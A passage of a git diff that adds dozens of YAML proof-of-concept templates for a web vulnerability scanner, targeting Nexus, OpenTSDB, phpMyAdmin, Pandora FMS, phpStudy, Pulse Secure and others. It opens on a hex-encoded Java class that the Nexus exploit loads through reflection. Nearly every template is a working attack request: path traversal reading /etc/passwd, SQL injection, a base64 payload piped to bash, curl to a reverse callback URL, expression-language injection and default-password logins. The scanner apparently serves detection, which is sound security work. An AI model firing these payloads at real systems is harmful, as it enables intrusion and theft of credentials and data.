01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'expr {{r1}} + {{r2}}');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"} + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string(r1 + r2))) +detail: + Affected Version: "nexus<3.15" + author: hanxiansheng26(https://github.com/hanxiansheng26) + links: + - https://github.com/jas502n/CVE-2019-7238 + - https://github.com/verctor/nexus_rce_CVE-2019-7238 + - https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238 diff --git a/webscan/pocs/nexus-cve-2020-10199.yml b/webscan/pocs/nexus-cve-2020-10199.yml new file mode 100644 index 0000000..7ce9fa7 --- /dev/null +++ b/webscan/pocs/nexus-cve-2020-10199.yml @@ -0,0 +1,21 @@ +name: poc-yaml-nexus-cve-2020-10199 +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: "/rest/beta/repositories/go/group" + headers: + Content-Type: application/json + body: | + {"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ {{r1}} * {{r2}} }"]}} + expression: | + response.status == 400 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + Affected Version: "nexus<3.21.2" + author: kingkk(https://www.kingkk.com/) + links: + - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb + - https://www.cnblogs.com/magic-zero/p/12641068.html + - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype + - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31 diff --git a/webscan/pocs/nexus-cve-2020-10204.yml b/webscan/pocs/nexus-cve-2020-10204.yml new file mode 100644 index 0000000..a08a2bb --- /dev/null +++ b/webscan/pocs/nexus-cve-2020-10204.yml @@ -0,0 +1,20 @@ +name: poc-yaml-nexus-cve-2020-10204 +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: "/extdirect" + headers: + Content-Type: application/json + body: | + {"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"anonymous@example.org","status":"active","roles":["$\\c{{{r1}}*{{r2}}}"]}],"type":"rpc","tid":28} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + Affected Version: "nexus<3.21.2" + author: kingkk(https://www.kingkk.com/) + links: + - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb + - https://www.cnblogs.com/magic-zero/p/12641068.html + - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31 diff --git a/webscan/pocs/nexus-default-password.yml b/webscan/pocs/nexus-default-password.yml new file mode 100644 index 0000000..4da28cf --- /dev/null +++ b/webscan/pocs/nexus-default-password.yml @@ -0,0 +1,15 @@ +name: poc-yaml-nexus-default-password +rules: + - method: GET + path: /service/local/authentication/login + follow_redirects: false + headers: + Accept: application/json + Authorization: Basic YWRtaW46YWRtaW4xMjM= + expression: > + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"loggedIn") +detail: + author: Soveless(https://github.com/Soveless) + Affected Version: "Nexus Repository Manager OSS" + links: + - https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager diff --git a/webscan/pocs/nexusdb-cve-2020-24571-path-traversal.yml b/webscan/pocs/nexusdb-cve-2020-24571-path-traversal.yml new file mode 100644 index 0000000..fd44624 --- /dev/null +++ b/webscan/pocs/nexusdb-cve-2020-24571-path-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-nexusdb-cve-2020-24571-path-traversal +rules: + - method: GET + path: /../../../../../../../../windows/win.ini + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(bytes("[extensions]")) && response.content_type.contains("application/octet-stream") +detail: + author: su(https://suzzz112113.github.io/#blog) + links: + - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371 \ No newline at end of file diff --git a/webscan/pocs/nhttpd-cve-2019-16278.yml b/webscan/pocs/nhttpd-cve-2019-16278.yml new file mode 100644 index 0000000..60ea0e0 --- /dev/null +++ b/webscan/pocs/nhttpd-cve-2019-16278.yml @@ -0,0 +1,19 @@ +name: poc-yaml-nhttpd-cve-2019-16278 +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" + body: | + echo + echo + expr {{r1}} + {{r2}} 2>&1 + expression: > + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) + +detail: + author: Loneyer + versions: <= 1.9.6 + links: + - https://git.sp0re.sh/sp0re/Nhttpd-exploits diff --git a/webscan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml b/webscan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml new file mode 100644 index 0000000..a1373dd --- /dev/null +++ b/webscan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml @@ -0,0 +1,10 @@ +name: poc-yaml-node-red-dashboard-file-read-cve-2021-3223 +rules: + - method: GET + path: /ui_base/js/..%2f..%2f..%2f..%2fsettings.js + expression: | + response.status == 200 && response.body.bcontains(bytes("Node-RED web server is listening")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password")) +detail: + author: Print1n(http://print1n.top) + links: + - https://mp.weixin.qq.com/s/KRGKXAJQawXl88RBPTaAeg diff --git a/webscan/pocs/novnc-url-redirection-cve-2021-3654.yml b/webscan/pocs/novnc-url-redirection-cve-2021-3654.yml new file mode 100644 index 0000000..c38d09c --- /dev/null +++ b/webscan/pocs/novnc-url-redirection-cve-2021-3654.yml @@ -0,0 +1,16 @@ +name: poc-yaml-novnc-url-redirection-cve-2021-3654 +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"noVNC") + - method: GET + path: "//baidu.com/%2f.." + follow_redirects: false + expression: | + response.status == 301 && response.headers["location"] == "//baidu.com/%2f../" +detail: + author: txf(https://github.com/tangxiaofeng7) + links: + - https://seclists.org/oss-sec/2021/q3/188 diff --git a/webscan/pocs/nps-default-password.yml b/webscan/pocs/nps-default-password.yml new file mode 100644 index 0000000..ddeb1d0 --- /dev/null +++ b/webscan/pocs/nps-default-password.yml @@ -0,0 +1,8 @@ +name: poc-yaml-nps-default-password +rules: + - method: POST + path: /login/verify + body: username=admin&password=123 + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"login success") diff --git a/webscan/pocs/ns-asg-file-read.yml b/webscan/pocs/ns-asg-file-read.yml new file mode 100644 index 0000000..db1a654 --- /dev/null +++ b/webscan/pocs/ns-asg-file-read.yml @@ -0,0 +1,11 @@ +name: poc-yaml-ns-asg-file-read +rules: + - method: GET + path: "/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php" + expression: | + response.status == 200 && response.body.bcontains(b"$certfile") && response.body.bcontains(b"application/pdf") +detail: + author: YekkoY + description: "网康 NS-ASG安全网关 任意文件读取漏洞" + links: + - http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md \ No newline at end of file diff --git a/webscan/pocs/nsfocus-uts-password-leak.yml b/webscan/pocs/nsfocus-uts-password-leak.yml new file mode 100644 index 0000000..df62c9b --- /dev/null +++ b/webscan/pocs/nsfocus-uts-password-leak.yml @@ -0,0 +1,11 @@ +name: poc-yaml-nsfocus-uts-password-leak +rules: + - method: GET + path: /webapi/v1/system/accountmanage/account + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"account") && response.body.bcontains(b"password") +detail: + author: MrP01ntSun(https://github.com/MrPointSun) + links: + - https://blog.csdn.net/DFMASTER/article/details/108547352 diff --git a/webscan/pocs/nuuo-file-inclusion.yml b/webscan/pocs/nuuo-file-inclusion.yml new file mode 100644 index 0000000..b6b5be4 --- /dev/null +++ b/webscan/pocs/nuuo-file-inclusion.yml @@ -0,0 +1,10 @@ +name: poc-yaml-nuuo-file-inclusion +rules: + - method: GET + path: /css_parser.php?css=css_parser.php + follow_redirects: false + expression: response.status == 200 && response.headers["content-type"] == "text/css" && response.body.bcontains(b"$_GET['css']") +detail: + author: 2357000166(https://github.com/2357000166) + links: + - https://www.exploit-db.com/exploits/40211 \ No newline at end of file diff --git a/webscan/pocs/odoo-file-read.yml b/webscan/pocs/odoo-file-read.yml new file mode 100644 index 0000000..9df5cfd --- /dev/null +++ b/webscan/pocs/odoo-file-read.yml @@ -0,0 +1,14 @@ +name: poc-yaml-odoo-file-read +groups: + win: + - method: GET + path: "/base_import/static/c:/windows/win.ini" + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") + linux: + - method: GET + path: "/base_import/static/etc/passwd" + expression: response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) +detail: + author: amos1 + links: + - https://quake.360.cn/quake/#/vulDetail/QH-202006-1954/checked diff --git a/webscan/pocs/openfire-cve-2019-18394-ssrf.yml b/webscan/pocs/openfire-cve-2019-18394-ssrf.yml new file mode 100644 index 0000000..2f80e08 --- /dev/null +++ b/webscan/pocs/openfire-cve-2019-18394-ssrf.yml @@ -0,0 +1,12 @@ +name: poc-yaml-openfire-cve-2019-18394-ssrf +rules: + - method: GET + path: /getFavicon?host=baidu.com/? + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("image/x-icon") && response.body.bcontains(bytes("baidu.com")) +detail: + author: su(https://suzzz112113.github.io/#blog) + links: + - https://www.cnvd.org.cn/patchInfo/show/192993 + - https://www.cnblogs.com/potatsoSec/p/13437713.html diff --git a/webscan/pocs/opentsdb-cve-2020-35476-rce.yml b/webscan/pocs/opentsdb-cve-2020-35476-rce.yml new file mode 100644 index 0000000..52ac507 --- /dev/null +++ b/webscan/pocs/opentsdb-cve-2020-35476-rce.yml @@ -0,0 +1,50 @@ +name: poc-yaml-opentsdb-cve-2020-35476-rce +set: + r1: randomLowercase(3) + r2: randomLowercase(3) + r3: randomLowercase(3) + r4: randomInt(1024, 65535) +rules: + - method: GET + path: "/s/opentsdb_header.jpg" + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"\xff\xd8\xff\xe1") + - method: POST + body: |- + [ + { + "metric": "{{r1}}.{{r2}}.{{r3}}", + "timestamp": 1608700420, + "value": {{r4}}, + "tags": { + "host": "web01", + "dc": "lga" + } + }, + { + "metric": "{{r1}}.{{r2}}.{{r3}}", + "timestamp": 1608700421, + "value": {{r4}}, + "tags": { + "host": "web02", + "dc": "lga" + } + } + ] + path: "/api/put" + follow_redirects: false + expression: | + sleep(5) && response.status == 204 && response.content_type.contains("json") + - method: GET + path: "/q?start=2000/10/21-00:00:00&end=2020/12/25-00:00:00&m=sum:{{r1}}.{{r2}}.{{r3}}&o=&yrange=[0:system('echo%20-e%20\"ZWNobyAxMjMgfG1kNXN1bSAxPiYyCg==\"%20|%20base64%20-d%20|bash')]&wxh=1698x316&style=linespoint&json" + follow_redirects: false + expression: | + response.status == 400 && response.content_type.contains("json") && "ba1f2511fc30423bdbb183fe33f3dd0f".bmatches(response.body) + +detail: + author: mvhz81 + info: opentsdb-cve-2020-35476-rce + links: + - https://blog.csdn.net/xuandao_ahfengren/article/details/111402955 + - https://hub.docker.com/r/petergrace/opentsdb-docker \ No newline at end of file diff --git a/webscan/pocs/panabit-gateway-default-password.yml b/webscan/pocs/panabit-gateway-default-password.yml new file mode 100644 index 0000000..ca88007 --- /dev/null +++ b/webscan/pocs/panabit-gateway-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-panabit-gateway-default-password +rules: + - method: POST + path: /login/userverify.cgi + body: username=admin&password=panabit + expression: | + response.status == 200 && response.headers["Set-Cookie"].contains("paonline_admin") && response.body.bcontains(b"URL=/index.htm") +detail: + author: Print1n(https://github.com/Print1n) + links: + - https://max.book118.com/html/2017/0623/117514590.shtm \ No newline at end of file diff --git a/webscan/pocs/panabit-ixcache-default-password.yml b/webscan/pocs/panabit-ixcache-default-password.yml new file mode 100644 index 0000000..e56d4a7 --- /dev/null +++ b/webscan/pocs/panabit-ixcache-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-panabit-ixcache-default-password +rules: + - method: POST + path: /login/userverify.cgi + body: username=admin&password=ixcache + expression: | + response.status == 200 && response.body.bcontains(b"URL=/cgi-bin/monitor.cgi") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - http://forum.panabit.com/thread-10830-1-1.html \ No newline at end of file diff --git a/webscan/pocs/pandorafms-cve-2019-20224-rce.yml b/webscan/pocs/pandorafms-cve-2019-20224-rce.yml new file mode 100644 index 0000000..913183d --- /dev/null +++ b/webscan/pocs/pandorafms-cve-2019-20224-rce.yml @@ -0,0 +1,20 @@ +name: poc-yaml-pandorafms-cve-2019-20224-rce +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: POST + path: >- + /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{reverseURL}}+%23&draw_button=Draw + follow_redirects: true + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: JingLing(https://hackfun.org/) + version: Pandora FMS v7.0NG + links: + - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/ diff --git a/webscan/pocs/pbootcms-database-file-download.yml b/webscan/pocs/pbootcms-database-file-download.yml new file mode 100644 index 0000000..9771dcf --- /dev/null +++ b/webscan/pocs/pbootcms-database-file-download.yml @@ -0,0 +1,11 @@ +name: poc-yaml-pbootcms-database-file-download +rules: + - method: GET + path: /data/pbootcms.db + follow_redirects: false + expression: | + response.status == 200 && "^SQLite format 3\\x00\\x10".bmatches(response.body) && response.body.bcontains(b"PbootCMS") +detail: + author: abcRosexyz(https://github.com/abcRosexyz) + links: + - https://www.cnblogs.com/0daybug/p/12786036.html diff --git a/webscan/pocs/php-cgi-cve-2012-1823.yml b/webscan/pocs/php-cgi-cve-2012-1823.yml new file mode 100644 index 0000000..3a6e784 --- /dev/null +++ b/webscan/pocs/php-cgi-cve-2012-1823.yml @@ -0,0 +1,14 @@ +name: poc-yaml-php-cgi-cve-2012-1823 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: POST + path: /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input + body: + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: 17bdw + links: + - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823 \ No newline at end of file diff --git a/webscan/pocs/phpcms-cve-2018-19127.yml b/webscan/pocs/phpcms-cve-2018-19127.yml new file mode 100644 index 0000000..0272e20 --- /dev/null +++ b/webscan/pocs/phpcms-cve-2018-19127.yml @@ -0,0 +1,20 @@ +name: poc-yaml-phpcms-cve-2018-19127 +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /type.php?template=tag_(){}%3b@unlink(file)%3becho md5($_GET[1])%3b{//../rss + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /data/cache_template/rss.tpl.php?1={{r}} + follow_redirects: true + expression: | + response.body.bcontains(bytes(md5(string(r)))) + +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "PHPCMS2008" + links: + - https://github.com/ab1gale/phpcms-2008-CVE-2018-19127 diff --git a/webscan/pocs/phpmyadmin-cve-2018-12613-file-inclusion.yml b/webscan/pocs/phpmyadmin-cve-2018-12613-file-inclusion.yml new file mode 100644 index 0000000..20a73c0 --- /dev/null +++ b/webscan/pocs/phpmyadmin-cve-2018-12613-file-inclusion.yml @@ -0,0 +1,11 @@ +name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion +rules: + - method: GET + path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd + follow_redirects: false + expression: >- + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: p0wd3r + links: + - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613 diff --git a/webscan/pocs/phpmyadmin-setup-deserialization.yml b/webscan/pocs/phpmyadmin-setup-deserialization.yml new file mode 100644 index 0000000..7bf691e --- /dev/null +++ b/webscan/pocs/phpmyadmin-setup-deserialization.yml @@ -0,0 +1,13 @@ +name: poc-yaml-phpmyadmin-setup-deserialization +rules: + - method: POST + path: /scripts/setup.php + body: >- + action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";} + follow_redirects: false + expression: >- + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: p0wd3r + links: + - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433 diff --git a/webscan/pocs/phpok-sqli.yml b/webscan/pocs/phpok-sqli.yml new file mode 100644 index 0000000..696187c --- /dev/null +++ b/webscan/pocs/phpok-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-phpok-sqli +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: "/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{r1}}))) --+" + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: jinqi + links: + - https://github.com/jinqi520 diff --git a/webscan/pocs/phpshe-sqli.yml b/webscan/pocs/phpshe-sqli.yml new file mode 100644 index 0000000..932356e --- /dev/null +++ b/webscan/pocs/phpshe-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-phpshe-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,CONCAT%28md5({{rand}})%29,4,5,6,7,8,9,10,11,12%23_ + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: hhdaddy + Affected Version: "1.7" + links: + - https://www.cnblogs.com/Spec/p/10718046.html diff --git a/webscan/pocs/phpstudy-backdoor-rce.yml b/webscan/pocs/phpstudy-backdoor-rce.yml new file mode 100644 index 0000000..a8bb748 --- /dev/null +++ b/webscan/pocs/phpstudy-backdoor-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-phpstudy-backdoor-rce +set: + r: randomLowercase(6) + payload: base64("printf(md5('" + r + "'));") +rules: + - method: GET + path: /index.php + headers: + Accept-Encoding: 'gzip,deflate' + Accept-Charset: '{{payload}}' + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(r))) +detail: + author: 17bdw + Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4" + vuln_url: "php_xmlrpc.dll" + links: + - https://www.freebuf.com/column/214946.html \ No newline at end of file diff --git a/webscan/pocs/phpstudy-nginx-wrong-resolve.yml b/webscan/pocs/phpstudy-nginx-wrong-resolve.yml new file mode 100644 index 0000000..1759e44 --- /dev/null +++ b/webscan/pocs/phpstudy-nginx-wrong-resolve.yml @@ -0,0 +1,57 @@ +name: poc-yaml-phpstudy-nginx-wrong-resolve +set: + name: randomInt(10000000, 99999999) +groups: + html: + - method: GET + path: /{{name}}.php + follow_redirects: false + expression: | + response.status != 200 + + - method: GET + path: /index.html + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.html/.php + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.html/.xxx + follow_redirects: false + expression: | + response.status != 200 + + php: + - method: GET + path: /{{name}}.php + follow_redirects: false + expression: | + response.status != 200 + + - method: GET + path: /index.php + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.php/.php + follow_redirects: false + expression: | + response.status == 200 && response.headers["Server"].contains("nginx") + + - method: GET + path: /index.php/.xxx + follow_redirects: false + expression: | + response.status != 200 +detail: + author: LoRexxar(https://lorexxar.cn),0h1in9e(https://www.ohlinge.cn) + links: + - https://www.seebug.org/vuldb/ssvid-98364 diff --git a/webscan/pocs/phpunit-cve-2017-9841-rce.yml b/webscan/pocs/phpunit-cve-2017-9841-rce.yml new file mode 100644 index 0000000..545e761 --- /dev/null +++ b/webscan/pocs/phpunit-cve-2017-9841-rce.yml @@ -0,0 +1,13 @@ +name: poc-yaml-phpunit-cve-2017-9841-rce +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php + body: + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: p0wd3r,buchixifan + links: + - https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841 \ No newline at end of file diff --git a/webscan/pocs/powercreator-arbitrary-file-upload.yml b/webscan/pocs/powercreator-arbitrary-file-upload.yml new file mode 100644 index 0000000..201c274 --- /dev/null +++ b/webscan/pocs/powercreator-arbitrary-file-upload.yml @@ -0,0 +1,24 @@ +name: poc-yaml-powercreator-arbitrary-file-upload +set: + rand: randomInt(1000, 9999) + content: randomLowercase(8) + randname: randomLowercase(4) +rules: + - method: POST + path: /upload/UploadResourcePic.ashx?ResourceID={{rand}} + follow_redirects: false + headers: + Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136 + Content-Disposition: form-data;name="file1";filename="{{randname}}.aspx"; + body: "-----------------------------20873900192357278038549710136\nContent-Disposition: form-data; name=\"file1\"; filename=\"{{randname}}.aspx\"\nContent-Type: image/jpeg\n\n{{content}}\n-----------------------------20873900192357278038549710136--" + search: | + (?P.+?).ASPX + expression: response.status == 200 && response.body.bcontains(b".ASPX") + - method: GET + path: /ResourcePic/{{path}}.ASPX + follow_redirects: false + expression: response.status == 200 +detail: + author: MrP01ntSun(https://github.com/MrPointSun) + links: + - https://xz.aliyun.com/t/8478#reply-15684 diff --git a/webscan/pocs/prometheus-url-redirection-cve-2021-29622.yml b/webscan/pocs/prometheus-url-redirection-cve-2021-29622.yml new file mode 100644 index 0000000..e86e0e3 --- /dev/null +++ b/webscan/pocs/prometheus-url-redirection-cve-2021-29622.yml @@ -0,0 +1,11 @@ +name: poc-yaml-prometheus-url-redirection-cve-2021-29622 +rules: + - method: GET + path: /new/newhttps:/baidu.com + follow_redirects: false + expression: | + response.status == 302 && response.headers["location"] == "https:/baidu.com?" +detail: + author: fuzz7j(https://github.com/fuzz7j) + links: + - https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7 diff --git a/webscan/pocs/pulse-cve-2019-11510.yml b/webscan/pocs/pulse-cve-2019-11510.yml new file mode 100644 index 0000000..fcded4f --- /dev/null +++ b/webscan/pocs/pulse-cve-2019-11510.yml @@ -0,0 +1,14 @@ +name: poc-yaml-pulse-cve-2019-11510 +rules: + - method: GET + path: >- + /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: leezp + Affected Version: "Pulse Connect Secure: 9.0RX 8.3RX 8.2RX" + links: + - https://github.com/jas502n/CVE-2019-11510-1 + - https://github.com/projectzeroindia/CVE-2019-11510 \ No newline at end of file diff --git a/webscan/pocs/pyspider-unauthorized-access.yml b/webscan/pocs/pyspider-unauthorized-access.yml new file mode 100644 index 0000000..7412300 --- /dev/null +++ b/webscan/pocs/pyspider-unauthorized-access.yml @@ -0,0 +1,18 @@ +name: poc-yaml-pyspider-unauthorized-access +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /debug/pyspidervulntest/run + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str({{r1}}+%2B+{{r2}}))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: we1x4n(https://we1x4n.github.io/) + links: + - https://github.com/ianxtianxt/Pyspider-webui-poc diff --git a/webscan/pocs/qibocms-sqli.yml b/webscan/pocs/qibocms-sqli.yml new file mode 100644 index 0000000..a37a62c --- /dev/null +++ b/webscan/pocs/qibocms-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-qibocms-sqli +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: 